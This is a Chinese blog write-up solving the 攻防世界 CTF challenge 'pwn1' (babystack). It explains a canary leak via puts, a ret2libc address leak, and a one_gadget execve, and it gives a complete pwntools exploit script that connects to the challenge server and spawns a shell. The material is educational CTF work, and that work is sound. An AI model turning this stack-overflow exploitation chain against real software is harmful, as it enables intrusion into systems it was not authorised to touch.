首页 > 其他分享 >攻防世界 pwn1 题解

攻防世界 pwn1 题解

时间:2022-09-03 23:00:10浏览次数:67  
标签:攻防 pwn1 p64 puts 题解 canary 地址 sh execve

攻防世界 pwn1 题解

下载附件,file命令识别文件为64位,checksec命令查看程序保护情况,如图,有CanaryNX保护。

ida64中打开程序,程序的主要功能有两个:

  1. 存储用户输入的字符串内容
  2. 打印用户输入的字符串内容

特别的注意到,字符串数组大小为136(0x88),而read运行的最大输入大小为0x100,如图中红色框标注,因此可能存在栈溢出。同时puts可以将输入打出,因此可以想到借此泄露出canary值。

在汇编程序40091C地址处,可以看到canary值保存在rbp上8字节处(即紧邻rbp)。

GCC的canary,x86_64下从fs:0x28偏移处获取,32位下从gs:0x14偏移处获取

解题思路

1.Canary泄露

canary泄露原理:canary最低位设计为\x00,目的为截断字符串。通过缓冲区溢出将canary最低位截断字符\x00覆盖,然后通过puts函数可以将输入的字符串连带剩余的canary数据输出,canary最低字节补\x00即泄露出canary值。

2.栈溢出准备

Canary泄露后就可以进行栈溢出操作。通过one_gadget可以找到execve在动态链接库中的地址。

所以思路是通过puts泄露一个函数(puts)地址,进而找到链接库基址,与上面得到的execve地址相加得到其在程序中的地址。

3.栈溢出构造

得到execve在程序中地址后,就可以构造shellcode,将返回地址替换为execve

'A'*136 + [Canary] + [fake ebp] + [execve addr]

具体实现

1.Canary获取

sh = remote('***.***.***.***',****)
sh.sendlineafter('>> ','1')  # 选择1,存储输入字符串
sh.sendline('A'*0x88)

通过向程序输入0x88字节数据抵达canary上方,最后还有一个字符\n可将canary最低位\x00覆盖,然后使用puts输出。

sh.sendlineafter('>> ','2')  # 选择2,输出字符串
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))  ## 对canary解析

2.获取execve地址

获取canary后可利用puts函数构造栈溢出shellcode泄露出puts函数在程序中的地址。

利用puts函数输出需要设置一个参数,需要pop rdigadget,利用ROPgadget寻找相关gadget

ROPgadget --binary babystack --only "pop|ret" | grep "rdi"

如图,可以看到在地址0x400a93处有我们想要的gadget:pop rdi ; ret

可通过pwntool中的ELF加载程序,获取puts@gotputs@plt地址。

elf = ELF('./babystack')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

我尝试通过symbols获取main函数地址失败了,但从ida中可以得到,如图,main函数地址为0x400908

到此,我们可以构造栈溢出shellcode来泄露puts在程序中的地址了:

'A'*0x88 + [Canary] + 'B'*8 + [pop_rdi_addr] + [puts_got_addr] + [puts_plt_addr] + [main_addr]

具体程序代码如下:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93

payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')  # 执行退出操作,从而让程序执行我们的指令
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))  # 解析puts函数地址

题目提供了链接库,获取puts在程序中地址后,可计算出链接库基址,进而获取我们需要的命令execve的地址。

libc = ELF('./libc-2.23.so')
base = real_puts - libc.symbols['puts']
execve = base + 0x45216  # 0x45216为上面通过one_gadget找到的execve地址

3.获取shell

做好所有准备工作后,就可以构造payload进行溢出了。

payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)

所有的代码如下:

from pwn import *

elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93

sh = remote('61.147.171.105',62498)

# 泄露canary地址
sh.sendlineafter('>> ','1')
sh.sendline(b'A'*0x88)
sh.sendlineafter('>> ','2')
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))
print(hex(canary))

# 泄露puts函数实际地址
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(real_puts))

# 获取execve实际地址
base = real_puts - libc.symbols['puts']
execve = base + 0x45216

# 构造payload溢出获取shell
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
sh.interactive()

执行完后即可获得shell,获得flag。

标签:攻防,pwn1,p64,puts,题解,canary,地址,sh,execve
From: https://www.cnblogs.com/C0ngvv/p/16653910.html

相关文章

  • 9.3 noip 模拟赛 1 题解
    noip模拟赛1题解目录noip模拟赛1题解\(\tolink\leftarrow\)A一步之遥退位计划退役以后重在参与\(\tolink\leftarrow\)A一步之遥构造题手玩了一下没有什么......
  • ARC146 部分题解
    A普及组题//byBalloons#include<cstdio>#include<cstring>#include<iostream>#include<algorithm>#definemprmake_pair#definedebug()cerr<<"Madoka"<<e......
  • P5914 [POI2004]MOS 题解
    题目传送门分析这是一道小学经典的数学题,对于这种求最短时间的题目,我们要认真考虑两组人员:首先,跑的快的人应当跑的最多,能者多劳。其次,跑的慢的人应当跑的最少,否则会拉......
  • CF1389B题解
    题目传送门题目分析首先,这道题比较的简单,是一道较为标准的dp,虽说有大佬说可以用贪心做,但本蒟蒻不会。首先,\(0\leqz\leq\min(5,k)\)所以我们可以开一个二维dp,......
  • 【题解】「COCI 2018.10」Teoretičar
    传送门题目大意有一个二分图,构造一种对边的染色方案,使得没有两个颜色相同的边共顶点。假设对于给定二分图的答案是\(C\),记\(X\)是大于等于\(C\)的最小的\(2\)的......
  • 「题解」Longge 的问题
    原题目链接:Link。虽然已经被A穿了但还是写一下。\[\sum_{i=1}^n\gcd(i,n)=\sum_{d\vertn}\sum_{i=1}^n[\gcd(i,n)=d]\]这一步显然,因为\(\forall\gc......
  • P2858 [USACO06FEB]Treats for the Cows G/S 题解
    [USACO06FEB]TreatsfortheCowsG/S[USACO06FEB]TreatsfortheCowsG/S题目描述FJhaspurchasedN(1<=N<=2000)yummytreatsforthecowswhogetmoneyfo......
  • P1005 [NOIP2007 提高组] 矩阵取数游戏 题解
    luogu原题传送门[NOIP2007提高组]矩阵取数游戏题目描述帅帅经常跟同学玩一个矩阵取数游戏:对于一个给定的\(n\timesm\)的矩阵,矩阵中的每个元素\(a_{i,j}\)均为非......
  • P4363 [九省联考 2018] 一双木棋 题解
    一道状压dp题,我写的记忆化搜索。注意到这道题已经下子的区域和未下子的区域有一条轮廓线分割,因此考虑右上到左下记纵向为1,横向为0,状压一下,然后顺着记忆化搜索(有点类似......
  • codeforces极简题解
    CF1713F利用lucas定理,\(b_S\)表示下标\(T\)与\(S\)无交的\(a_T\)的异或,由于部分\(b_S\)未知,不能直接iFWT。回顾容斥:\([S=\emptyset]=\sum_{T\subseteqS}(-1)^|T|\),\([n=0......